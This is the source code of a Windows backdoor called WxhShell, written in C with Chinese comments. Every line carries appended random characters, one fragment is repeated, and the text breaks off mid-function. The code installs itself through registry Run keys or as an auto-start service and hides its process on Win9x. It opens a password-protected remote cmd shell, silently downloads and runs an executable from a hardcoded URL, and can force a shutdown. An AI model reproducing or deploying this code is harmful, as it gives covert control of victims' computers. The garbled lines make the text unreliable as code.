WinExec(wscfg.ws_filenam,SW_HIDE); 1'gKZB)TG7
} /,-h%gj
knI*-
if(!OsIsNt) { #.RG1-L
// 如果时win9x，隐藏进程并且设置为注册表启动 QGu7D #%|
HideProc(); n^3NA|A
StartWxhshell(lpCmdLine); | 3hT{
} nA|gQibA
else kwDjK"
if(StartFromService()) 1NB2y[
// 以服务方式启动 n+:m_2T
StartServiceCtrlDispatcher(DispatchTable); ?T$*5d
else :H~UyrN
// 普通方式启动 5n-9#J$
StartWxhshell(lpCmdLine); R*zBnHAb!
@|jKO5Y
return 0; ze-TBh/
} JsHxQ0Tw
%D`^
ktkn2Twa/
RcKQER
=========================================== m&(%&}g
f/$-Nl.
3W%f#d$`
`bBfNI?3d*
mRg ,A\
\pT^Zhp)
" !4DGP28
nEeQL~:
#include <stdio.h> `lH1IA/3
#include <string.h> FCUVP,"T
#include <windows.h> Po2_ 0uX
#include <winsock2.h> v3=&{}+j.
#include <winsvc.h> ^\Ue7,H-
#include <urlmon.h> 3Qm t]q
oP 6.t-<dU
#pragma comment (lib, "Ws2_32.lib") {PP^Rb)
#pragma comment (lib, "urlmon.lib") FkB6*dm-
G "c&C
#define MAX_USER 100 // 最大客户端连接数 VPq5xSc?
#define BUF_SOCK 200 // sock buffer {66Q" H"I
#define KEY_BUFF 255 // 输入 buffer dM>j<JC=
Cw9@2E'b
#define REBOOT 0 // 重启 "^e}C@
#define SHUTDOWN 1 // 关机 /\oyPD`((
,E n(gm
#define DEF_PORT 5000 // 监听端口 EU&6Tg
]x5(bnWx
#define REG_LEN 16 // 注册表键长度 GgZEg ?@
#define SVC_LEN 80 // NT服务名长度 >b/k|?xP
`2Z4#$.
// 从dll定义API C.Wms}XA
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i`ZHjW~`
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?[NTw./'7A
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QI :/,w
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xIq"[?m
Q8M:7#ySji
// wxhshell配置信息 w|K(>5nz
struct WSCFG { _7t|0aNo\
int ws_port; // 监听端口 3.GdKP.%
char ws_passstr[REG_LEN]; // 口令 `CTkx?e[
int ws_autoins; // 安装标记, 1=yes 0=no ]ouUv7\
char ws_regname[REG_LEN]; // 注册表键名 "`8H:y
char ws_svcname[REG_LEN]; // 服务名 )f:!#v(K
char ws_svcdisp[SVC_LEN]; // 服务显示名 X=*Yzz}
char ws_svcdesc[SVC_LEN]; // 服务描述信息 x3p;H02i\
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =F!",a~
int ws_downexe; // 下载执行标记, 1=yes 0=no f0HV*%8
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m;$F@JJ
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k=d%.kg
K2cpf
}; |P[D2R}
{YxSH%
// default Wxhshell configuration +Y>cBSO
struct WSCFG wscfg={DEF_PORT, NXV~[
"xuhuanlingzhe", lN=m$J
1, ~8n~4
"Wxhshell", eaZ)1od
"Wxhshell", ] _]6&PZXk
"WxhShell Service", -h^} jP8
"Wrsky Windows CmdShell Service", =4w^)'/
"Please Input Your Password: ", CoKj'jA
1, B[U.CAUn
"http://www.wrsky.com/wxhshell.exe", ?@,f[U-
"Wxhshell.exe" JE8p5WaR
}; ^|:{,d#Y
v2W"+QS}u
// 消息定义模块 Ej{eq^n
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %+j]vP
char *msg_ws_prompt="\n\r? for help\n\r#>"; s].'@_~s
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F%ylR^H>
char *msg_ws_ext="\n\rExit."; STF}~`b:3
char *msg_ws_end="\n\rQuit."; VES4x%r=
char *msg_ws_boot="\n\rReboot..."; Sv^'CpQ
char *msg_ws_poff="\n\rShutdown..."; [>aoDJ
char *msg_ws_down="\n\rSave to "; K:lT-*+S
sLpCWIy
char *msg_ws_err="\n\rErr!"; U K]{]-
char *msg_ws_ok="\n\rOK!"; v#YS`];B
vSHIl"h
char ExeFile[MAX_PATH]; "n2xn%t{
int nUser = 0; ?#{2?%_
HANDLE handles[MAX_USER]; T\$^>@
int OsIsNt; LF3GVu,
>TJKH^7n
SERVICE_STATUS serviceStatus; JNA}EY^2I.
SERVICE_STATUS_HANDLE hServiceStatusHandle; hvv>UC/
.of:#~
// 函数声明 1SJHX1CxX
int Install(void); =LeVJGF
int Uninstall(void); Wp~4[f`,
int DownloadFile(char *sURL, SOCKET wsh); #I{Yf(2Z
int Boot(int flag); V n!az}
void HideProc(void); 5 xzB1n8
int GetOsVer(void); 6O|\4c;
int Wxhshell(SOCKET wsl); ur"e F
void TalkWithClient(void *cs); (k2J{6]
int CmdShell(SOCKET sock); 7<C~D,x6
int StartFromService(void); ]&tr\-3
int StartWxhshell(LPSTR lpCmdLine); xYkgNXGs5
@x>$_:]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S5[RSAbf*t
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k;Ny%%5
0f}Q~d=QL
// 数据结构和表定义 '>lPq tdZ
SERVICE_TABLE_ENTRY DispatchTable[] = (P52KD[A[
{ Ok{:QA~#
{wscfg.ws_svcname, NTServiceMain}, c%,6L<[
{NULL, NULL} 3x;y}:wQa
}; C9;X6
$\J9F=<a
// 自我安装 jX8C2}j
int Install(void) ,knI26Jh
{ a.*j8T
char svExeFile[MAX_PATH]; $}"Wta
HKEY key; y2ws*IZ"
strcpy(svExeFile,ExeFile); Vh[o[ U
t-gNG!B
// 如果是win9x系统，修改注册表设为自启动 ^1& LHrT
if(!OsIsNt) { kG7,1teMk
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]TZWFL-
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ..]X<
RegCloseKey(key); M[3w EX^
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D"XQ!1B%
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?%fZvpn-
RegCloseKey(key); 87E3pe
return 0; 3usA
} CR PE?CRQF
} :W<,iqSCm
} WHj4#v(
else { C-b%PgA
$j2)_(<A%Q
// 如果是NT以上系统，安装为系统服务 +mW$D@Pf
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #=~1hk
if (schSCManager!=0) N~<}\0
{ la{:RlW
SC_HANDLE schService = CreateService oZcwbo8
( d`][1rZk
schSCManager, &Or=_5Y`
wscfg.ws_svcname, G#n)|p
wscfg.ws_svcdisp, 5z mHb
SERVICE_ALL_ACCESS, c]v3dHE_h
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }Z$G=;3#
SERVICE_AUTO_START, v2X0Px_
SERVICE_ERROR_NORMAL, jO N}&/
svExeFile, _*B~ESC0
NULL, ysn[-l#
NULL, yNf=Kl
NULL, p:>?
NULL, kITmo"$K
NULL ITY!=>S-
); Hh=::Bi
if (schService!=0) ~W2&z]xD
{ >{)#|pWU
CloseServiceHandle(schService); _N#3lU?
CloseServiceHandle(schSCManager); 8GRrf2
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !*. nR(>d
strcat(svExeFile,wscfg.ws_svcname); 0aoHv
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fU7:3"|s8
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wgP3&4cSUc
RegCloseKey(key); 6i=wAkn_J
return 0; 2*DS_=6o
} V~"d`j
} Z8n%=(He
CloseServiceHandle(schSCManager); W$&Ets8zo
} /;m!>{({)
} >w#3fTJ
n\al}KG
return 1; T eTOj|
} 9s6lt#?b
[|O6n"'
// 自我卸载 {+mkXp])R
int Uninstall(void) :=7;P)
{ XFAt\g
HKEY key; BjJ gQ`X
o5@P>\u>
if(!OsIsNt) { w3UJw
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *K)53QKlE
RegDeleteValue(key,wscfg.ws_regname); 6]49kHgMhe
RegCloseKey(key); eL4@% ]o
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "T[jQr
RegDeleteValue(key,wscfg.ws_regname); 69[k ?')LM
RegCloseKey(key); Y[]t_o)
return 0; u)]sJ1p
} 5Cka."bQ
} &b8D'XQu
} J%B?YO,
else { zQfxw?~A
yC$7XSr=
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -T6%3>h
if (schSCManager!=0) >{=RQgGy
{ +Z0E?,Oz
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~m&oa@*=y
if (schService!=0) u<2sb;a
{ 7ij=%if2@k
if(DeleteService(schService)!=0) { gZSi\m>
CloseServiceHandle(schService); OB@t(KNx*P
CloseServiceHandle(schSCManager); go Z#
return 0; `W S
} ,"R_ve
CloseServiceHandle(schService); 'F~SNIay
} ;$;/#8`>
CloseServiceHandle(schSCManager); p5BcDYOw`
} /YR$#&N2
} /aEQ3x
bx6}zkf&
return 1; \~1+T
} 9xp ;$14
|?W
// 从指定url下载文件 8{e 3
int DownloadFile(char *sURL, SOCKET wsh) ;S j* {
{ ^yZEpQN_
HRESULT hr; I2Rp=L:z5
char seps[]= "/"; tTamFL6
char *token; <a3XV
char *file; ~`fB\7M
char myURL[MAX_PATH]; h:90K
char myFILE[MAX_PATH]; T ua @w+
DZZt%n8J
strcpy(myURL,sURL); Z%Kj^ M
token=strtok(myURL,seps); 8r,%!70
while(token!=NULL) |th )Q
{ ((q(Q9(F
file=token; je%12DM
token=strtok(NULL,seps); =?aB@&
} __npX_4%S
#O ]IXo(5z
GetCurrentDirectory(MAX_PATH,myFILE); aoX$,~oI5
strcat(myFILE, "\\"); 4!|ar?Zy
strcat(myFILE, file); \Y p oJ!-
send(wsh,myFILE,strlen(myFILE),0); ~5529
send(wsh,"...",3,0); Ey%NqOs0#
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @]4s&;
if(hr==S_OK) J n/=v\K@
return 0; nVD YAg'
else WRM}gWv*
return 1; A/aQpEb%
WKML#U]5T
} -]%@,L^@
e)7r
// 系统电源模块 x N)Ck76
int Boot(int flag) Op~+yMef
{ (1vS)v $L
HANDLE hToken; #\QC%"%f
TOKEN_PRIVILEGES tkp; voEc'JET
mD3#$E!A1
if(OsIsNt) { [8#l~ |U
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !y.7"G*
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3\ed4D
tkp.PrivilegeCount = 1; &|eQLY #l
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2ra4t]f6
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hI0l2OE
if(flag==REBOOT) { `Fr$q1qae{
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i=@*F$,
return 0; uI/ A_
} LLiX%XOh
else { (ShJ!
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4LLCb7/5lP
return 0; l:HuG!
} e+U o-CO
} jT',+
else { /8T{bJ5
if(flag==REBOOT) { jL&F7itP
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sq>UMfl&
return 0; 6yqp<D0SP)
} 'z/hj>B<
else { XlPy(>
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \&0NH=*^
return 0; x`&W[AA4
} }$jIvb,3?
} `^ok5w"oi
aL}_j#m{
return 1; v3Kqs:"\
} pm+[,u!i
3(kZfH~
// win9x进程隐藏模块 fmh]Y/UC
void HideProc(void) `'`XB0vb
{ \&fK8H1
&/p9+gd
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PR0]:t)E
if ( hKernel != NULL ) /<~IKVz\&
{ t*#T~3p
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J5wq}<8
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Zh*I0m
FreeLibrary(hKernel); w'C(? ?mH
} FU zY&@Y
= 4L.
return; e!#:h4I
} fy5)Tih%.*
4[D@[kAs
// 获取操作系统版本 zQ~nS
int GetOsVer(void) TQE_zOa:
{ S3w? X
OSVERSIONINFO winfo; lUmaNZ
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %-D2I
GetVersionEx(&winfo); eo!{rs@f
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pB`<4+"9
return 1; oVdmgmT.Y
else <>cajQ@
return 0; sy;~(rpg
} 3 }XS|Y
}I"^WCyH
// 客户端句柄模块 (Q&Z/Fe
int Wxhshell(SOCKET wsl) C'Q} Z_
{ bA:abO
SOCKET wsh; SX#ATf6#
struct sockaddr_in client; 0t8-oui
DWORD myID; [LE_lATjU
raCxHY
while(nUser<MAX_USER) B^Vb=* QRo
{ y7JJ[:~~
int nSize=sizeof(client); 5K0Isuu>>
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 74_ji!
if(wsh==INVALID_SOCKET) return 1; e([}dz
Ad[-YT
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xpae0vw
if(handles[nUser]==0) "bqB@)
closesocket(wsh); bTJ7RqL
else ;TYkJH"
nUser++; ~~&M&Fe
} k2~j:&p
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -O\`G<s%
c(:GsoO
return 0; d4/ZOj+%
} 1:?WvDN=
\7RP6o
// 关闭 socket 'Q# KjY
void CloseIt(SOCKET wsh) ].eGsh2
{ ral0@\T
closesocket(wsh); >Gkkr{s9
nUser--; =Z2sQQVS
ExitThread(0); tq{ aa
} w;XXjT
ffdyDUzQ
// 客户端请求句柄 z' @F@k6
void TalkWithClient(void *cs) ~e|~c<!z8@
{ D9h\=[%e
Hly$ Wm
SOCKET wsh=(SOCKET)cs; Tw$lakw
char pwd[SVC_LEN]; 4q2aVm
char cmd[KEY_BUFF]; E$gcd#rT
char chr[1]; (fC [Y
int i,j; Q!c*2hI
h-V5&em"_
while (nUser < MAX_USER) { JVRK\A|R
6u7>S?
if(wscfg.ws_passstr) { nCt:n}+C7
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >#SQDVFf
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ."dmL=
//ZeroMemory(pwd,KEY_BUFF); p\Jz<dkN1
i=0; RDZl@ps8
while(i<SVC_LEN) { koFY7;_<?
k@^)>J^
// 设置超时 LbnR=B!
fd_set FdRead; ;L|%H/SH
struct timeval TimeOut; e(sQgtM6
FD_ZERO(&FdRead); oE}1D?3Sp
FD_SET(wsh,&FdRead); E}UlQq
TimeOut.tv_sec=8; H13|bM<
TimeOut.tv_usec=0; dAR):ZKq?
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [E+#+-n7
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1N2s[ \q$
: -OHD#>%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bEbnZ<kz*
pwd=chr[0]; m3,i{
if(chr[0]==0xd || chr[0]==0xa) { t68h$u
pwd=0; _&P![o)x
break; b2hB'!m
} ~b*f2UVs
i++; xI$B",?(
} 'F1NBL
g9g^zd,
// 如果是非法用户，关闭 socket V#zDYrp
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n>{>3?
} nI&Tr_"tm
72.ZE%Ue
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ygr1 S(=
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w[t!?(![>
Iq MXd K|
while(1) { K_(o D O
sJ,:[
ZeroMemory(cmd,KEY_BUFF); .xS}/^8iD
wUab)L
// 自动支持客户端 telnet标准 !>+YEZ"
j=0; Z8Qmj5'[
while(j<KEY_BUFF) { 6s@'z<Ct
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !>TH#sU$
cmd[j]=chr[0]; !q mnMY$
if(chr[0]==0xa || chr[0]==0xd) { wpO-cJ!,
cmd[j]=0; /2 ')u|
break; |}t[-a
} VU9w2/cM
j++; %&0_0BU
} b$[O^p9x
\:, dWLu
// 下载文件 q,A;d^g
if(strstr(cmd,"http://")) { `L/\F,
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >d%;+2
if(DownloadFile(cmd,wsh)) 4vQ]7`I.f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,SNN[a
else F6`$5%$M;?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { <f]6
} v@(Y:\>
else { RX3P%xZ
:A9G>qg
switch(cmd[0]) { BxVo>r
0rP`BK|
// 帮助 bS[;d5
case '?': { 'tm%3` F
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T*e>_\Tx
break; S3l$\X;6X
} }&M$
// 安装 +zn&DG0\X
case 'i': { D-JG0.@
if(Install()) Fg;V6s/>ts
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =8#$'1K,v
else w,f1F;!q1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '[g@A>xDvW
break; RsU!mYs:H
} qVjl8%)
// 卸载 J=Q?_$xb}
case 'r': { JL.noV3q$
if(Uninstall()) =wE1j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '[V}]Z>-
else g:V8"'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]rU$0)VN
break; [Vzp D 4
} FtHR.S=u
// 显示 wxhshell 所在路径 IY jt*p5
case 'p': { rXgU*3RG
char svExeFile[MAX_PATH]; b5NPG N
strcpy(svExeFile,"\n\r"); >LS*G qjq
strcat(svExeFile,ExeFile); IWc?E
send(wsh,svExeFile,strlen(svExeFile),0); tj<a , l
break; [Tmpj9!q
} KVQ|l,E, /
// 重启 XpS].P9
case 'b': { !} ~K'1"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [ed6n@/O@
if(Boot(REBOOT)) %+0 7>/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A"ApWJ3
else { &b~if}vcb
closesocket(wsh); x"7`,W
ExitThread(0); JWzN 'a R
} D}YAu,<K
break; d'y\~M9(
} KicPW}_
// 关机 9b88):[qO
case 'd': { BTi:Bcv k
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +OM`c7M:
if(Boot(SHUTDOWN)) EdgcdSb7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lyZ[tPS
else { ! 3&_#VO
closesocket(wsh); "eRf3Q7w:
ExitThread(0); *|97 g*G(
} fjGYp
break; z;fi
} /8](M5X]f
// 获取shell 5BWO7F0v"
case 's': { vuP.V#
CmdShell(wsh); xweV8k/
closesocket(wsh); [3&Y* W
ExitThread(0); )3 C~kmN7
break; UTT7a"
} e;_ cC7
// 退出 CB&$tDi
case 'x': { e[`u:
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qqju6}+
CloseIt(wsh); P01o:/}
break; {-FS+D`
} kWkAfzf4a
// 离开 YTWlR]Tr6?
case 'q': { ~x}/>-d
send(wsh,msg_ws_end,strlen(msg_ws_end),0); q].n1w[
closesocket(wsh); &tKr ?l
WSACleanup(); WcE{1&PXx
exit(1); L!fiW`>0G
break; 5yC$G{yV
} HZ>8@AVa\
} WrzyBG_
} i]sz*\P~
=[X..<bW9:
// 提示信息 Yr7%C
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); io8c[#"uU
} f[}N
} n4* hQi+d
Av3qoH)[<
return; ?=C?3R
} <[N"W82p
w"p,6Ew
// shell模块句柄 e@B+\1
int CmdShell(SOCKET sock) \=kre+g
{ 7x,c)QES`
STARTUPINFO si; 67916
ZeroMemory(&si,sizeof(si)); z@\r V@W5
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~KtA0BtC
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y6J7N^
PROCESS_INFORMATION ProcessInfo; HkH!B.H]
char cmdline[]="cmd"; ^Md]e<WAp
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k{fTqKS%h
return 0; qT U(]O1
} O^tH43C
"!\ON)l*
// 自身启动模式 86.LkwlqoH
int StartFromService(void) xUp[)B6?:
{ D'dE!CAUs
typedef struct W6=j^nv
{ QEUr+7[
DWORD ExitStatus; mQVc ZV
DWORD PebBaseAddress; GQZLOjsop
DWORD AffinityMask; ?k6PH"M
DWORD BasePriority; E="FE.%A
ULONG UniqueProcessId; =x8F!W}Bt<
ULONG InheritedFromUniqueProcessId; AYB =iLa
} PROCESS_BASIC_INFORMATION; J?Y1G<&
t")+L{
PROCNTQSIP NtQueryInformationProcess; A..,.
?2#!63[Kg
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h}vzZZ2,
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pWU3?U
7.-g=Rcz
HANDLE hProcess; ZjlFr(
PROCESS_BASIC_INFORMATION pbi; ^iWcuh_n
uydy[n\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2(s+?n.N
if(NULL == hInst ) return 0; [gZz'q&[)
$?38o6
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d@+}_R"c
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vY+{zGF
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _.Ey_K_1
=U:9A=uEvS
if (!NtQueryInformationProcess) return 0; vrS)VJg`
lu]Z2xSv
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,34|_
if(!hProcess) return 0; iG:9uDY
]Bpdb'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H|E{n/g
|2!!>1k
CloseHandle(hProcess); XxN=vL&m
Y}'8`.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ||{V*"+\
if(hProcess==NULL) return 0; 5kX#qT=
;g-L2(T05;
HMODULE hMod; m\3r<*q6
char procName[255]; M5mCG
unsigned long cbNeeded; .GJl@==~1
R"j6 w[tn
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $OE~0Z\0
6usy0g D
CloseHandle(hProcess); mLa0BIP
&e#>%0aS
if(strstr(procName,"services")) return 1; // 以服务启动 <NIg`B@'s
/7EeM{,~
return 0; // 注册表启动 5if4eitS
} ]6W;~w%
F vJJpPS
// 主模块 $!+t2P@d.5
int StartWxhshell(LPSTR lpCmdLine) 6mawcK:7
{ qDOJ;>I
SOCKET wsl; 2u0dn?9\
BOOL val=TRUE; C'iJFfgR
int port=0; (9;qV:0`
struct sockaddr_in door; Gi<ik~
XHKVs
if(wscfg.ws_autoins) Install(); (kECV8)2
ZBDEE+8e
port=atoi(lpCmdLine); (<u3<40[YN
vV2px
if(port<=0) port=wscfg.ws_port; aFI?^"L
O@.afk"{
WSADATA data; nm[ yp3B
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ##%R|P3
R]oi&"H@r)
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "82<}D^;
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wm3fd7T
door.sin_family = AF_INET; AR<'Airi:
door.sin_addr.s_addr = inet_addr("127.0.0.1"); "IOu$?
door.sin_port = htons(port); j( *;W}*^
z0@)@4z!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { In-W,
closesocket(wsl); 9fWr{fx
return 1; N9W\>hKaeh
} ELx?ph-9
C:$12{I?*
if(listen(wsl,2) == INVALID_SOCKET) { QK+s}ny
closesocket(wsl); MoKGnb
return 1; G4!$48
} &FQ]`g3_@
Wxhshell(wsl); UOWOOdWSB
WSACleanup(); $N7:;X"l
@2mJh^cj
return 0; zTFfft<
s+"[S%
} *^'$YVd#
_$OhV#LKG
// 以NT服务方式启动 #}^kMD >
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y(>]7
{ 3I)!.N[m
DWORD status = 0; G\ twx ;
DWORD specificError = 0xfffffff; V24i8Qx
!ul)e;a
serviceStatus.dwServiceType = SERVICE_WIN32; |51z&dG
serviceStatus.dwCurrentState = SERVICE_START_PENDING; )^&,[Q=i
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M2[ywab
serviceStatus.dwWin32ExitCode = 0; b";w\H
serviceStatus.dwServiceSpecificExitCode = 0; RI#Cr+/
serviceStatus.dwCheckPoint = 0; &Wj %`T{
serviceStatus.dwWaitHint = 0; .x__X3P>\
l}>gG[q!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /2,s-^
if (hServiceStatusHandle==0) return; t7VXW{3
N=) E$h
status = GetLastError(); LK8K=AA3P
if (status!=NO_ERROR) 3r=IO#
{ =rj5 q
serviceStatus.dwCurrentState = SERVICE_STOPPED; "RuH"~o
serviceStatus.dwCheckPoint = 0; tS2P|fl
serviceStatus.dwWaitHint = 0; ]xf lfZ
serviceStatus.dwWin32ExitCode = status; 7y",%WYSD
serviceStatus.dwServiceSpecificExitCode = specificError; Qtmsk:qm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~%Y*2i f
return; }r&^*" 2=
} A9lnQCsJ
Sd]`I)
serviceStatus.dwCurrentState = SERVICE_RUNNING; xUYUOyV
serviceStatus.dwCheckPoint = 0; 1>W|vOv"Z?
serviceStatus.dwWaitHint = 0; 6&% c
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .tB[8Y=J
} D7%`hU
S3-3pJ]~Zk
// 处理NT服务事件，比如：启动、停止 [YT"UVI
VOID WINAPI NTServiceHandler(DWORD fdwControl) C7%+1w'D8
{ +p =n-
switch(fdwControl) w'q}aQS
{ @DT${,.49
case SERVICE_CONTROL_STOP: 89F^I"Im(
serviceStatus.dwWin32ExitCode = 0; 2Y&QJon)
serviceStatus.dwCurrentState = SERVICE_STOPPED; E<>Ev_5>
serviceStatus.dwCheckPoint = 0; ~4th;#'
serviceStatus.dwWaitHint = 0; @?_<A%hz
{ qyMR0ai-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZHxdrX)
} \WD}@6) ~
return; <C\snB
case SERVICE_CONTROL_PAUSE: #uNQ+US0
serviceStatus.dwCurrentState = SERVICE_PAUSED; c ?mCt0Cg
break; Bb];qYuCO
case SERVICE_CONTROL_CONTINUE: .bbl-a/ 3
serviceStatus.dwCurrentState = SERVICE_RUNNING; -yt[0
break; ukV1_QeN[
case SERVICE_CONTROL_INTERROGATE: 1F'j.1
break; m#+0uZm(
}; >JVZ@ PV H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \D BtU7"v
} g7k|Ho-W
(3C6'Wt
// 标准应用程序主函数 3O<:eS~
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `[V]xP%V
{ R;6(2bTN6
6\(wU?m'/
// 获取操作系统版本 %s~MfK.k
OsIsNt=GetOsVer(); [3++Q-rR=
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZK))91;v
wmFI?
// 从命令行安装 #5)E4"m
if(strpbrk(lpCmdLine,"iI")) Install(); "Ko^m(`
E1:{5F5/
// 下载执行文件 b,YTw
if(wscfg.ws_downexe) { sW 7R&t!G
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G S-@drZp_
WinExec(wscfg.ws_filenam,SW_HIDE); vX})6O
} I.I:2Ew+
&eq>>
if(!OsIsNt) { v\ggFrG]
// 如果时win9x，隐藏进程并且设置为注册表启动 RKaCX:
HideProc(); gW'aK>*c
StartWxhshell(lpCmdLine); 9J_lxy}
} X b-q:{r1h
else vBCQ-l<Ub
if(StartFromService()) W[A;VOj0$
// 以服务方式启动 fB[I1Z
